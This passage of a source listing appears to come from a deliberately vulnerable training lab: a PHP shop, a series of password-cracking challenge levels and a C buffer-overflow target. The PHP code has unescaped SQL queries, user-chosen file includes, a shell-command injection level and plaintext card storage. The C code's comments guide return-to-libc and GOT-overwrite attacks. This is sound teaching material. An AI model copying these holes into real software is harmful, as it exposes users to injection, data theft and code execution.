      echo "<br /> \n";
      echo $line[3]."<br /> \n";
      echo "<img src=\"".$line[4]."\" ".$size." /><br /> \n";
      echo "</td></tr> \n";
   }

   echo "</table> \n";
?>
```

./shop/login.php

```
<?php
   include "common.php";
?>

<b>User</b><p />

<?php
   include "common0.html";
?>

<?php
   /*
      Local variables:

      user/pass - The submitted username and password
      redi - The address of the calling page for post-login redirection

      numb - The login number of the user
      name - The login name of the user

      file - The php include file specific to the users action

      card - The credit card number
      date - The credit card expirey date
      code - The credit card code

      clear - The sql table to delete all from

      title - The title of a new item for sale
      price - The price of that item
```

```
      desc - The description of the item
      temp - The temporary file path of the uploaded image
      image - The name of the uploaded image
   */

   $user = pres(1, $_POST["user"], $webr);
   $pass = pres(1, $_POST["pass"], $webr);
   $redi = pres(1, $_POST["redirect"], $webr);

   $numb = pres(1, $_SESSION["numb"], $webr);
   $name = pres(1, $_SESSION["name"], $webr);

   $file = pres(0, $_GET["file"], "[^\.\_0-9A-Za-z]");

   $card = pres(1, $_POST["numb"], $webr);
   $date = pres(1, $_POST["date"], $webr);
   $code = pres(1, $_POST["code"], $webr);

   $clear = pres(1, $_GET["clear"], "[^0-9A-Za-z]");

   $title = pres(1, $_POST["title"], $webr);
   $price = pres(1, $_POST["price"], $webr);
   $desc = pres(1, $_POST["desc"], $webr);
   $temp = pres(1, $_FILES["image"]["tmp_name"], $webr);
   $image = pres(1, $_FILES["image"]["name"], $webr);

   // If login is successful then get the users login number, name and auth number

   if ($_POST["login"] == "true")
   {
      $query = "select * from login where username = '".$user."' and password =
'".$pass."';";
      sql_q($query);

      while ($line = sql_r())
      {
         $_SESSION["numb"] = $line[0];
         $_SESSION["name"] = $line[1];
         $_SESSION["auth"] = $line[3];

         break;
      }

      echo "<meta http-equiv=\"refresh\" content=\"0;url=".$redi."\" /><br /> \n";
   }

   // Deal with login information changes here

   if ($_POST["change"] == "true")
   {
      $query = array();

      // Change the password for the user

      if ($_POST["user"] == $_SESSION["name"])
      {
         $query[] = "update login set password = '".$pass."' where username =
'".$name."';";
      }

      else
      {
         // If the username seems new and we are admin then continue

         if ($_SESSION["auth"] == "1")
         {
            // Try to get the user login number here

            $qtmp = "select login_numb from login where username = '".$user."';";
            sql_q($qtmp);
            $lnum = sql_r();
```

```
            // Get the highest login number/id here

            $qtmp = "select MAX(login_numb) + 1 from login;";
            sql_q($qtmp);
            $mnum = sql_r();

            // Change the user password or make the new user here

            if ($lnum[0] != "")
            {
               $query[] = "update login set password = '".$pass."' where username =
'".$user."';";
            }

            else
            {
               $query[] = "insert into login values ('".$mnum[0]."', '".$user."',
'".$pass."', '0');";
            }
         }
      }

      // Perform the sql queries from above here

      $l = count($query);

      for ($x = 0; $x < $l; ++$x)
      {
         sql_q($query[$x]);
      }
   }

   // Unset the auth variables on logout

   if ($_GET["logout"] == "true")
   {
      unset($_SESSION["numb"]);
      unset($_SESSION["name"]);
      unset($_SESSION["auth"]);
   }

   if (isset($_SESSION["auth"]))
   {
      // Print the name and menu for the user

      echo $name."<p/ > \n";

      include "login1_menu.html";

      // Include any specified menus here

      if ($_GET["file"] != "")
      {
         include $file;
      }

      // Update any changes to the credit card details for this user

      if ($_POST["card"] == "true")
      {
         $query = array();

         $query[] = "delete from card where card_login_numb = '".$numb."';";
         $query[] = "insert into card values ('".$numb."', '".$card."', '".$date."',
'".$code."');";

         $l = count($query);

         for ($x = 0; $x < $l; ++$x)
         {
```

```
            sql_q($query[$x]);
         }
      }

      // If checkout was initiated then loop thru the cart and add the purchases
      // to the sql db

      if ($_GET["checkout"] == "true")
      {
         $query = "select card_numb from card where card_login_numb = '".$numb."';";
         sql_q($query);
         $card = sql_r();

         $card = pres(1, $card[0], $webr);
         $l = count($_SESSION["cart"]);

         for ($x = 0; $x < $l; ++$x)
         {
            $list = split("\|", $_SESSION["cart"][$x]);

            $title = pres(1, $list[0], $webr);
            $price = pres(1, $list[1], $webr);
            $many = pres(1, $list[2], $webr);

            $query = "insert into history values ('".$numb."', '".$card."', '".$title."',
'".$price."', '".$many."');";
            sql_q($query);
         }

         $_SESSION["cart"] = array();
      }
   }

   else
   {
      include "login0.html";
   }

   // If admin is logged in display extra options

   if ($_SESSION["auth"] == "1")
   {
      // Include an admin menu and include any requested pages

      include "login2_menu.html";

      $query = "";

      // Check for login clear so we do not delete the admin account

      if ($_GET["clear"] == "login")
      {
         $query = "delete from ".$clear." where login_numb > 1;";
      }

      else if (isset($_GET["clear"]))
      {
         // Check for item delete so we can remove the picture files

         if ($_GET["clear"] == "item")
         {
            exec("rm pics/*");
         }

         // Otherwise clear the whole table specified

         $query = "delete from ".$clear.";";
      }

      // If we are inserting a new item for sale do so now
```

```
      if ($_POST["shop"] == "true")
      {
         move_uploaded_file($temp, "pics/".$image);
         $query = "insert into item values (NULL, '".$title."', '".$price."',
'".$desc."', 'pics/".$image."');";
      }

      // Execute any sql query left now

      if ($query != "")
      {
         sql_q($query);
      }
   }
?>
```

./shop/login0.html

```
<form action="login.php" method="post">
   <input type="hidden" name="login" value="true" />
   <input type="hidden" name="redirect"
    value="<?php echo $_SERVER["REQUEST_URI"]; ?>" />
   Username: <input type="text" name="user" /><br />
   Password: <input type="password" name="pass" /><br />
   <input type="submit" value="Login" />
</form>
```

./shop/login1_card.html

```
<?php
   // Query the sql db now for the below html to use

   $query = "select * from card where card_login_numb = '".$numb."';";
   sql_q($query);

   $card = "";
   $date = "";
   $code = "";

   while ($line = sql_r())
   {
      $card = $line[1];
      $date = $line[2];
      $code = $line[3];
   }
?>


<hr>

<form action="login.php" method="post">
   <input type="hidden" name="card" value="true" />
   Credit card:
   <br />
   Number: <input type="text" name="numb" value="<?php echo $card; ?>" />
   <br />
   Expirey: <input type="text" name="date" value="<?php echo $date; ?>" size="5" />
   <br />
   Code: <input type="text" name="code" value="<?php echo $code; ?>" size="5" />
   <br />
   <input type="submit" value="Change" />
</form>
```

./shop/login1_hist.html

```
<?php
   echo "<hr> \n";

   // Print out the history of purchases made by the user in table form

   $query = "select * from history join card on history_login_numb = card_login_numb
where history_login_numb = '".$numb."';";
   sql_q($query);

   echo "History: <br /> \n";
   echo "<table border=\"1\"> \n";

   echo "<tr> \n";
   echo "<td>Card number</td> \n";
   echo "<td>Item title</td> \n";
   echo "<td>Item price</td> \n";
   echo "<td>Quantity</td> \n";
   echo "</tr> \n";

   while ($line = sql_r())
   {
      echo "<tr> \n";
      echo "<td>".$line[1]."</td> \n";
      echo "<td>".$line[2]."</td> \n";
      echo "<td>$".$line[3]."</td> \n";
      echo "<td>#".$line[4]."</td> \n";
      echo "</tr> \n";
   }

   echo "</table> \n";
?>

-------------------------------------------------------------------------------------------
./shop/login1_menu.html
-------------------------------------------------------------------------------------------

<hr>

[ <a href="login.php?file=login1_card.html">Card</a> ]
[ <a href="login.php?file=login1_hist.html">History</a> ]
[ <a href="login.php?file=login1_pass.html">Password</a> ]
[ <a href="login.php?logout=true">Logout</a> ]

-------------------------------------------------------------------------------------------
./shop/login1_pass.html
-------------------------------------------------------------------------------------------

<hr>

<form action="login.php" method="post">
   <input type="hidden" name="change" value="true" />
   Change login:<br />
   Username: <input type="text" name="user" /><br />
   Password: <input type="password" name="pass" /><br />
   <input type="submit" value="Change" />
</form>

-------------------------------------------------------------------------------------------
./shop/login2_clear.html
-------------------------------------------------------------------------------------------

<hr>

<form action="login.php" method="get">
<select name="clear">
<option value="login">Clear logins</option>
<option value="item">Clear items</option>
<option value="comment">Clear comments</option>
<option value="card">Clear cards</option>
<option value="history">Clear history</option>
</select>
```

```
<input type="submit" value="Clear" />
</form>

--------------------------------------------------------------------------------------------
./shop/login2_item.html
--------------------------------------------------------------------------------------------

<hr>

<form action="login.php" enctype="multipart/form-data" method="post">
<input type="hidden" name="shop" value="true" />
Add to shop:<br />
Title: <input type="text" name="title" /><br />
Price: $ <input type="text" name="price" /><br />
Description:<br /><textarea name="desc" rows="10" cols="50"/></textarea><br />
Image file: <input type="file" name="image" /><br />
<input type="submit" value="Add" />
</form>

--------------------------------------------------------------------------------------------
./shop/login2_menu.html
--------------------------------------------------------------------------------------------

<hr>

[ <a href="login.php?file=login2_clear.html">Clear</a> ]
[ <a href="login.php?file=login2_item.html">Item</a> ]

--------------------------------------------------------------------------------------------
./shop/login_chal/0000.80756887.php
--------------------------------------------------------------------------------------------

<?php
   include "common.php";
?>

<?php
   /*
      Local variables:

      temp - A list of details for the next level page
      pref - The prefix for the next level filename
      pass - The password in the next level filename
      exte - The extension of the next level filename
   */

   $temp = futu();
   $pref = $temp[0];
   $pass = $temp[1];
   $exte = $temp[2];
?>


<script>
   /*
      Summary:   Check the password form for a correct password and redirect if so
      Arguments:   None
      Return:      Nothing
   */

   function check()
   {
      tobj = document.getElementById("pass");
      password = "<?php echo $pass; ?>";

      if (tobj.value == password)
      {
         location.href = "<?php echo $pref; ?>." + password + ".<?php echo $exte; ?>";
      }

      else
```

```
      {
         document.getElementById("mesg").innerHTML = "Incorrect Password!";
      }
   }
</script>


<body>
   <b>
   Level 0 - Alice has hidden the password somewhere, you must find it <br />
   Requires - Web browser knowledge <p />
   </b>

   Password: <input type="text" id="pass" />
   <input type="button" value="Submit" onclick="check();" /><p />

   <font color="red"><span id="mesg"></span></font>
</body>
```

./shop/login_chal/0100.72935274.php

```
<?php
   include "common.php";
?>

<?php
   /*
      Local variables:

      temp - A list of details for the next level page
      pass - The password in the next level filename
      file - The full filename of the next level
      redi - The redirect page for the next level

      temp - A list of details for this level
      curr - The hidden page to be found by the user
   */

   $temp = futu();
   $pass = $temp[1];
   $file = $temp[3];
   $redi = "";

   $temp = curr();
   $curr = "0101.".$temp[1].".".$temp[2];

   // If we have a post submission and the password is right then assign the filename

   if (isset($_POST["pass"]))
   {
      if ($_POST["pass"] == $pass)
      {
         $redi = $file;
      }

      else
      {
         $redi = "error";
      }
   }
?>


<script>
   /*
      Summary:   Check if the redirect variable is not empty or with error and
                 redirect if so
      Arguments:   None
      Return:      Nothing
```

```
   */

   function wait()
   {
      redi = "<?php echo $redi; ?>";

      if (redi != "")
      {
         if (redi == "error")
         {
            document.getElementById("mesg").innerHTML = "Incorrect Password!";
         }

         else
         {
            location.href = redi;
         }
      }
   }
</script>


<body onload="wait();">
   <b>
   Level 1 - Alice has put the password in a file, look carefully <br />
   Requires - Website file and directory knowledge <p />
   </b>

   <form action="" method="post">
   <input type="hidden" name="file" value="<?php echo $curr; ?>" />
   Password: <input type="text" name="pass" />
   <input type="submit" value="Submit" />
   </form>

   <font color="red"><span id="mesg"></span></font>
</body>
```

./shop/login_chal/0101.72935274.php

```
<?php
   include "common.php";
?>

<?php
   /*
      Local variables:

      temp - A list of details for the next level page
      pass - The password in the next level filename
   */

   $temp = futu();
   $pass = $temp[1];

   // Print the password out nicely to the user when they have found this page

   echo $pass;
?>
```

./shop/login_chal/0200.46341505.php

```
<?php
   include "common.php";
?>

<?php
   /*
```

```
      Local variables:

      temp - A list of details for this level
      pass - The password for this level since it has not changed
      addr - The IP address from which to accept form submissions
      mesg - Any login error message

      temp - A list of details for the next level
      file - The full filename for the next level
      redi - The successful redirect page
   */

   $temp = curr();
   $pass = $temp[1];
   $addr = "1.2.3.4";
   $mesg = "";

   $temp = futu();
   $file = $temp[3];
   $redi = "";

   // Check for the right auth details here

   if (isset($_POST["pass"]) and isset($_POST["addr"]))
   {
      if (($_POST["pass"] == $pass) and ($_POST["addr"] == $addr))
      {
         $redi = $file;
      }

      else if ($_POST["pass"] != $pass)
      {
         $mesg = "Incorrect Password!";
      }

      else if ($_POST["addr"] != $addr)
      {
         $mesg = "Unauthorized IP Address!";
      }
   }
?>

<script>
   /*
      Summary:   Check if the redirect variable is not empty and redirect if so
      Arguments:   None
      Return:      Nothing
   */

   function wait()
   {
      mesg = "<?php echo $mesg; ?>";
      redi = "<?php echo $redi; ?>";

      if (mesg != "")
      {
         document.getElementById("mesg").innerHTML = mesg;
      }

      if (redi != "")
      {
         location.href = redi;
      }
   }
</script>


<body onload="wait();">
   <b>
   Level 2 - Alice has kept the password the same but only people from the IP address
   (<?php echo $addr; ?>) should be able to login <br />
```

```
   Requires - HTML or JavaScript knowledge <p />
   </b>

   <form action="" method="post">
   <input type="hidden" name="addr" value="<?php echo $_SERVER["REMOTE_ADDR"]; ?>" />
   Password: <input type="text" name="pass" />
   <input type="submit" value="Submit" />
   </form>

   <font color="red"><span id="mesg"></span></font>
</body>

-----------------------------------------------------------------------------------------
./shop/login_chal/0300.87236694.php
-----------------------------------------------------------------------------------------

<?php
   include "common.php";
?>

<?php
   /*
      Local variables:

      temp - A list of details for the past level
      pass - The password for this level since it still has not changed
      addr - The IP address from which to accept form submissions
      mesg - Any login error message

      temp - A list of details for the next level
      file - The full filename for the next level
      redi - The successful redirect page
   */

   $temp = past();
   $pass = $temp[1];
   $addr = "1.2.3.4";
   $mesg = "";

   $temp = futu();
   $file = $temp[3];
   $redi = "";

   // Check for the right auth details here

   if (isset($_POST["pass"]) and isset($_POST["addr"]))
   {
      if (($_POST["pass"] == $pass) and ($_POST["addr"] == $addr) and
isset($_SERVER["HTTP_REFERER"]))
      {
         $redi = $file;
      }

      else if ($_POST["pass"] != $pass)
      {
         $mesg = "Incorrect Password!";
      }

      else if ($_POST["addr"] != $addr)
      {
         $mesg = "Unauthorized IP Address!";
      }

      else if (!isset($_SERVER["HTTP_REFERER"]))
      {
         $mesg = "Invalid HTTP Referer!";
      }
   }
?>

<script>
```

```
   /*
      Summary:   Check if the redirect variable is not empty and redirect if so
      Arguments:   None
      Return:      Nothing
   */

   function wait()
   {
      mesg = "<?php echo $mesg; ?>";
      redi = "<?php echo $redi; ?>";

      if (mesg != "")
      {
         document.getElementById("mesg").innerHTML = mesg;
      }

      if (redi != "")
      {
         location.href = redi;
      }
   }
</script>


<body onload="wait();">
   <b>
   Level 3 - Alice still hasn't changed the password and is still using IP
   authentication (<?php echo $addr; ?>) but the server is checking where the form
   was submitted from <br />
   Requires - JavaScript or HTTP knowledge <p />
   </b>

   <form action="" method="post">
   <input type="hidden" name="addr" value="<?php echo $_SERVER["REMOTE_ADDR"]; ?>" />
   Password: <input type="text" name="pass" />
   <input type="submit" value="Submit" />
   </form>

   <font color="red"><span id="mesg"></span></font>
</body>

-----------------------------------------------------------------------------------------
./shop/login_chal/0400.28052538.php
-----------------------------------------------------------------------------------------

<?php
   include "common.php";
?>

<?php
   /*
      Local variables:

      temp - A list of details for the next level
      pass - The password for the next level
      file - The full filename for the next level
      mesg - The login error message
      redi - The redirect url for the next level
   */

   $temp = futu();
   $pass = $temp[1];
   $file = $temp[3];
   $mesg = "";
   $redi = "";

   // If there is no cookie set do it now and refresh the page to load the cookie
   // This will help make it more obvious to the user

   if (!isset($_COOKIE["auth"]))
   {
```

```
      setcookie("auth", "no");
      $redi = "self";
   }

   if (isset($_POST["pass"]))
   {
      if ($_POST["pass"] == $pass)
      {
         setcookie("auth", "yes");
         $redi = "next";
      }

      else
      {
         $mesg = "Incorrect Password!";
      }
   }

   if (($redi == "next") or ($_COOKIE["auth"] != "no"))
   {
      $redi = $file;
   }
?>


<script>
   /*
      Summary:   Check if the redirect variable is not empty and redirect if so
      Arguments:   None
      Return:      Nothing
   */

   function wait()
   {
      mesg = "<?php echo $mesg; ?>";
      redi = "<?php echo $redi; ?>";

      if (mesg != "")
      {
         document.getElementById("mesg").innerHTML = mesg;
      }

      if (redi == "self")
      {
         location.href = "";
      }

      else if (redi != "")
      {
         location.href = redi;
      }
   }
</script>


<body onload="wait();">
   <b>
   Level 4 - Alice has switched to using cookies for authentication <br />
   Requires - HTTP knowledge <p />
   </b>

   <form action="" method="post">
   Password: <input type="text" name="pass" />
   <input type="submit" value="Submit" />
   </form>

   <font color="red"><span id="mesg"></span></font>
</body>

--------------------------------------------------------------------------------
```

./shop/login_chal/0500.10380628.php

```
<?php
   include "common.php";
?>

<?php
   /*
      Local variables:

      temp - A list of details for the next level
      indx - The prefix number for the next level
      exte - The filename extension for the next level

      pass - The password for the next level
      key - The encryption key for the password

      l - The length of the password
      m - The length of the key
   */

   $temp = futu();
   $indx = $temp[0];
   $exte = $temp[2];

   $pass = $temp[1];
   $key = "secretkey";

   $l = strlen($pass);
   $m = strlen($key);

   $arry = "";

   // Loop thru the password (the message) and provide simple xor encryption

   for ($x = 0; $x < $l; ++$x)
   {
      $numb = (ord($pass[$x]) ^ ord($key[$x % $m]));

      if ($x > 0)
      {
         $arry = $arry.", ";
      }

      $arry = $arry.$numb;
   }
?>


<script>
   /*
      Summary:   Loop thru the input string and provide simple xor encryption
      Arguments:   input_str - The input as a string
                key_str - The key as a string
      Return:      The encrypted output as an ascii array
   */

   function encrypt(input_str, key_str)
   {
      l = input_str.length;
      m = key_str.length;
      output_ary = new Array();

      for (x = 0; x < l; ++x)
      {
         temp = (input_str.charCodeAt(x) ^ key_str.charCodeAt(x % m));
         output_ary[x] = temp;
      }

      return output_ary;
```

```
   }

   /*
      Summary:   Loop thru the input array and provide simple xor decryption
      Arguments:   input_ary - The input as an array
                key_str - The key as a string
      Return:      The decrypted output as a string
   */

   function decrypt(input_ary, key_str)
   {
      l = input_ary.length;
      m = key_str.length;
      output_str = "";

      for (x = 0; x < l; ++x)
      {
         temp = (input_ary[x] ^ key_str.charCodeAt(x % m));
         output_str += String.fromCharCode(temp);
      }

      return output_str;
   }

   // Store the encrypted password and key here for the encryption check

   key = "<?php echo $key; ?>";
   enc_password = new Array(<?php echo $arry; ?>);

   /*
      Summary:   Encrypt the supplied password and loop thru the array to check it
                and redirect
      Arguments:   None
      Return:      Nothing
   */

   function check()
   {
      tmp_pwd = document.getElementById("pass");
      tmp_enc_pwd = encrypt(tmp_pwd.value, key);

      l = tmp_enc_pwd.length;
      m = enc_password.length;

      for (x = 0; (x < l) && (x < m) && (l == m); ++x)
      {
         if (tmp_enc_pwd[x] != enc_password[x])
         {
            break;
         }
      }

      if (x == l)
      {
         location.href = "<?php echo $indx; ?>." + tmp_pwd.value + ".<?php echo $exte;
?>";
      }

      else
      {
         document.getElementById("mesg").innerHTML = "Incorrect Password!";
      }
   }
</script>


<body>
   <b>
   Level 5 - Alice has encrypted the password to help prevent people from
   easily viewing it <br />
   Requires - Advanced JavaScript knowledge <p />
```

```
   </b>

   Password: <input type="text" id="pass" />
   <input type="button" value="Submit" onclick="check();" /><p />

   <font color="red"><span id="mesg"></span></font>
</body>

-----------------------------------------------------------------------------------------
./shop/login_chal/0600.05580697.php
-----------------------------------------------------------------------------------------

<?php
   include "common.php";
?>

<?php
   /*
      Local variables:

      temp - A list of details for this level
      indx - The next index number for this level
      pass - The password for this level since it has not changed
      mesg - The message for login failure
      redi - The redirect page for login success

      password - The approved user input as the password

      pref - Checks for one safe quote escape and cmd injection to occur in the pwd
      post - Checks for safe characters ending in the cmd injection
      cpwd - An unsafe/unescaped version of the pwd
      cmdl - A list of acceptable system commands
   */

   $temp = curr();
   $indx = numb($temp[0] + 1);
   $pass = $temp[1];
   $mesg = "";
   $redi = "";

   $password = "";

   // If a password was submitted then process it now

   if (isset($_POST["pass"]))
   {
      $pref = "[']*[ ]*[;]*[ ]*";
      $post = "[\"\-\. '#0-9A-Za-z]*";
      $cpwd = stripslashes($_POST["pass"]);
      $cmdl = array("", "cat", "ls", "pwd");

      $l = count($cmdl);

      // Check to see if the password is properly formatted

      for ($x = 0; $x < $l; ++$x)
      {
         if ($cmdl[$x] != "")
         {
            $cmdl[$x] = $pref.$cmdl[$x]." ";
         }

         if (preg_match("/^".$cmdl[$x].$post."$/", $cpwd))
         {
            $password = preg_replace("/\.\./", ".", $cpwd);
         }
      }
   }

   // If the password is safe then continue on here
```

```
   if ($password != "")
   {
      // Execute the external shell script with the password

      $comd = "cd ./".$indx." ; ./".$indx.".".$pass.".sh '".$password."'";
      $outp = array();

      echo "(".$comd.") <p /> \n";
      exec($comd, $outp);

      // Loop thru the output and print out the results

      $leng = count($outp);

      for ($x = 0; $x < $leng; ++$x)
      {
         $outp[$x] = trim($outp[$x]);

         echo $outp[$x]." <br /> \n";
      }

      echo " <p /> \n";

      // Get the details of the next level here

      $temp = futu();
      $pass = $temp[1];
      $file = $temp[3];

      if ($pass == $password)
      {
         $redi = $file;
      }

      else
      {
         $mesg = "Incorrect Password!";
      }
   }
?>


<script>
   /*
      Summary:   Check if the redirect variable is not empty and redirect if so
      Arguments:   None
      Return:      Nothing
   */

   function wait()
   {
      mesg = "<?php echo $mesg; ?>";
      redi = "<?php echo $redi; ?>";

      if (mesg != "")
      {
         document.getElementById("mesg").innerHTML = mesg;
      }

      if (redi != "")
      {
         location.href = redi;
      }
   }
</script>


<body onload="wait();">
   <b>
   Level 6 - Alice is verifying the password with a shell script <br />
   Requires - Shell or Scripting knowledge <p />
```

```
   </b>

   <form action="" method="post">
   Password: <input type="text" name="pass" value="<?php echo $cpwd; ?>" />
   <input type="submit" value="Submit" />
   </form>

   <font color="red"><span id="mesg"></span></font>
</body>
```

./shop/login_chal/0601/0601.05580697.sh

```
#!/bin/bash

# If argument 1 is the right password then display the password for the next level

if [ "$1" == "23606797" ]
then
   directory=$(dirname "$0")

   ls $directory/../07*
fi
```

./shop/login_chal/0700.94519330.php

```
<?php
   include "common.php";
?>

<?php
   /*
      Local variables:

      temp - A list of details for the next level
      file - The filename for the next level
      mesg - The message for any login errors
      redi - The redirect page for a login success

      near - The time duration in seconds for a password change
      time - The time rounded down by near amount
      form - The formatted time as a string

      hash - The hash of the current password
   */

   $temp = futu();
   $file = $temp[3];
   $mesg = "";
   $redi = "";

   $near = (10 * 60);
   $time = (time() - (time() % $near));
   $form = date("Hi", $time);

   $hash = md5($form);

   if (isset($_POST["pass"]))
   {
      $chek = md5($_POST["pass"]);

      if ($chek == $hash)
      {
         $redi = $file;
      }

      else
      {
```

```
            $mesg = "Incorrect Password!";
         }
      }
   ?>


   <script>
      /*
         Summary:   Check if the redirect variable is not empty and redirect if so
         Arguments:   None
         Return:      Nothing
      */

      function wait()
      {
         password = "<?php echo $hash; ?>";
         message = "<?php echo $mesg; ?>";
         redirect = "<?php echo $redi; ?>";

         if (message != "")
         {
            document.getElementById("mesg").innerHTML = message;
         }

         if (redirect != "")
         {
            location.href = redirect;
         }
      }
   </script>


   <body onload="wait();">
      <b>
      Level 7 - Alice has hashed a random, numerical password to prevent people from
      easily decrypting it <br />
      Requires - Scripting or Programming knowledge <p />
      </b>

      <form action="" method="post">
      Password: <input type="text" name="pass" />
      <input type="submit" value="Submit" />
      </form>

      <font color="red"><span id="mesg"></span></font>
   </body>

   ----------------------------------------------------------------------------------------------
   ./shop/login_chal/0800.16908800.php
   ----------------------------------------------------------------------------------------------

   <?php
      include "common.php";
   ?>


   <body>
      <b>
      Congratulations, you've completed all of the levels! <p />
      </b>
   </body>

   ----------------------------------------------------------------------------------------------
   ./shop/login_chal/common.php
   ----------------------------------------------------------------------------------------------

   <?php
      session_start();

      /*
         Summary:   Pad the given number as a string up to 4 digits in length
```

```
   Arguments:   pref - A number as a string
   Return:      The padded string
*/

function numb($pref)
{
   while (strlen($pref) < 4)
   {
      $pref = "0".$pref;
   }

   return $pref;
}

/*
   Summary:   Strip the pathname from the filename
   Arguments:   file - A filename prefixed with a path
   Return:      An array of the split filename parts
*/

function form($file)
{
   $temp = preg_replace("/.*\//", "", $file);
   $temp = split("\.", $temp);

   return array($temp[0], $temp[1], $temp[2], $file);
}

/*
   Summary:   Get the current page filename
   Arguments:   None
   Return:      An array with the current level filename split up
*/

function curr()
{
   $file = preg_replace("/.*\//", "", $_SERVER["PHP_SELF"]);

   return form($file);
}

/*
   Summary:   Get the first file in this directory with the specified prefix
   Arguments:   pref - The prefix of the filename
   Return:      An array with the specified filename split up
*/

function getl($pref)
{
   $temp = array();
   exec("ls ".$pref.".*", $temp);

   $file = trim($temp[0]);

   return form($file);
}

/*
   Summary:   Round the current prefix number down and then subtract from it
   Arguments:   None
   Return:      An array with the past level filename split up
*/

function past()
{
   $temp = curr();
   $temp[0] = numb(($temp[0] - ($temp[0] % 100)) - 100);

   return getl($temp[0]);
}
```

```
   /*
      Summary:   Round the current prefix number down and then add to it
      Arguments:   None
      Return:      An array with the next level filename split up
   */

   function futu()
   {
      $temp = curr();
      $temp[0] = numb(($temp[0] - ($temp[0] % 100)) + 100);

      return getl($temp[0]);
   }


   // Display a back button and set a level array if not set yet

   echo "<a href=\"../\">Back</a> \n";

   if (!isset($_SESSION["level"]))
   {
      $_SESSION["level"] = array();
   }

   // Add this level to the level array if it is not in it yet

   $temp = curr();

   if (!in_array($temp[3], $_SESSION["level"]))
   {
      $_SESSION["level"][] = $temp[3];
   }

   // Display the completed levels here

   $leng = count($_SESSION["level"]);

   for ($x = 0; $x < $leng; ++$x)
   {
      echo "<a href=\"".$_SESSION["level"][$x]."\">".$_SESSION["level"][$x]."</a> ";
      echo " \n";
   }

   echo "<p /> \n";
?>
```

./shop/login_chal/index.php

```
<?php
   include "common.php";
?>

<?php
   // Get the file for the first level

   $outp = array();
   exec("ls 0000.*", $outp);

   // Loop thru the results and print the files as a link

   $leng = count($outp);

   for ($x = 0; $x < $leng; ++$x)
   {
      $outp[$x] = trim($outp[$x]);

      echo "<a href=\"".$outp[$x]."\">Level ".$x."</a> <br /> \n";
   }
?>
```

./shop/mail_make.sh

```
#!/bin/bash

# search for c files

list=$(ls *.c)

# loop thru the c files to compile them

for prog in ${list[*]}
do
   # only save the name of the file without the extension

   outp=$(echo "$prog" | sed -e 's/\(.*\)\.c/\1/')

   # check to see if the compiled executable does not exist yet

   if [ ! -e "$outp" ]
   then
      # compile the source without stack protection and as 32-bit code

      echo "Compiling [$outp]..."
      gcc -Wall -fno-stack-protector -g -m32 -o $outp $prog
   fi
done
```

./shop/mail_prog.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>

#define SIZE 64

/*
   Summary:   Implements an unsafe string copy (strcpy)
   Parameters:   dest - The destination string to be copied to
            dlen - The destination buffer size
            sorc - The source string to be copied from
   Return:      Nothing
   Note:      Print out the address and size of the destination buffer
            This helps achieve a return-to-stack/heap attack
*/

void copy(char *dest, int dlen, char *sorc)
{
   if (strcmp(sorc, "--hint") == 0)
   {
      printf("copying input to buffer: address=[%p], size=[%d]\n", dest, dlen);
   }

   while (*sorc != '\0')
   {
      *dest = *sorc;
      ++sorc;
      ++dest;
   }
}

/*
   Summary:   Set an environment variable with the given input data
   Parameters:   name - The name of the environment variable
            dlen - The data for the variable
   Return:      A character pointer to the newly set variable in memory
```

```
*/

char *envi(char *name, char *data)
{
   int much = (SIZE * 6);
   char envs[much];

   if ((much - strlen(name) - 1 - 1) > 0)
   {
      bzero(envs, much * sizeof(char));
      strncpy(envs, name, much - 1);
      strncat(envs, "=", much - 1);
      strncat(envs, data, much - 1);
      putenv(envs);
   }

   return getenv(name);
}

/*
   Summary:   Creates a heap variable containing the x86 jmp esp and jmp eax assembly
              instructions
   Parameters:   None
   Return:      A character pointer to the newly set instructions in memory
*/

char *jump()
{
   char *buff;

   if ((buff = malloc(4 * sizeof(char))) != NULL)
   {
      buff[0] = 0xff;
      buff[1] = 0xe4;
      buff[2] = 0xff;
      buff[3] = 0xe0;
   }

   return buff;
}

/*
   Summary:   Get the memory address of the heap pointer which is on the stack and
              store the value that is after this pointer
              Given some user input create variables in which to copy the user input
              Check for an overflow and if not then perform the last copy
   Parameters:   data - The user input data
   Return:      A character pointer to the user input data
   Notes:      The overflow check is important because if the heap variable address
              becomes invalid then the last copy will error out the whole program
              The memory address pointing to the user input will be placed in the eax
              register
              This allows for a return-to-eax attack
              Global vars are used outside of this method so they are not changed by
              an overflow
              The stack overflow will change the memory address of the heap variable
              to point to a memory address in the global offset table
              This address contains a dynamically assigned address of some other
              function like (strcmp/printf) and is writeable
              The third copy which gets performed on the heap variable will then
              overwrite that function address with data from user input
              This allows for a return-to-got attack
*/

int ptra, ptrb;

char *proc(char *data)
{
   int hlen = (SIZE * 4), slen = (SIZE * 2);
   char *heap;
   char stac[slen];
```

```
   if ((heap = malloc(hlen * sizeof(char))) == NULL)
   {
      return heap;
   }

   ptra = (int)*((&heap) + 1);

   copy(heap, hlen, data);
   copy(stac, slen, data);

   ptrb = (int)*((&heap) + 1);

   if (ptra == ptrb)
   {
      copy(heap, hlen, data);
   }

   return data;
}

/*
   Summary:   Store the user input in an environment var and print its memory address
            Copy the user input to the various memory addresses
   Parameters:   argc - The number of arguments given
            argv - The array of argument data
   Return:      The status/exit code of success or fail
   Note:      Print out the address for the system function call
            This helps achieve a return-to-libc attack
            Print out the address of the esp/eax jump instruction
            This helps achieve a return-to-esp/eax attack
            There is a strcmp/printf function call at the end of the method
            This helps achieve a return-to-got attack
*/

int main(int argc, char **argv)
{
   char *envp, *jmpp;

   if (argc < 2)
   {
      fprintf(stderr, "Usage: %s <data>\n", argv[0]);

      return 1;
   }

   envp = envi("ENVI", argv[1]);
   jmpp = jump();

   if (strcmp(argv[1], "--hint") == 0)
   {
      printf("system function: address=[%p]\n", system);
      printf("environment variable: address=[%p]\n", envp);

      printf("jmp esp: address=[%p]\n", jmpp);
      printf("jmp eax: address=[%p]\n", jmpp + 2);

      printf("\n");
   }

   proc(argv[1]);

   if (strcmp(argv[1], "--hint") == 0)
   {
      printf("\n");
   }

   return 0;
}
```

./shop/message.php

```
<?php
   include "common.php";
?>

<b>Message</b><p />

<?php
   include "common0.html";
?>

<?php
   /*
      Summary:   Convert a list of text into one string appended with new lines
      Parameters:   list - The list of strings to append together
                post - A string to be appended at the end of each input string
      Return:      Final output string
   */

   function plst($list, $post = "")
   {
      $leng = count($list);
      $outp = "";

      for ($x = 0; $x < $leng; ++$x)
      {
         $outp = $outp.$list[$x]." ".$post." \n";
      }

      return $outp;
   }

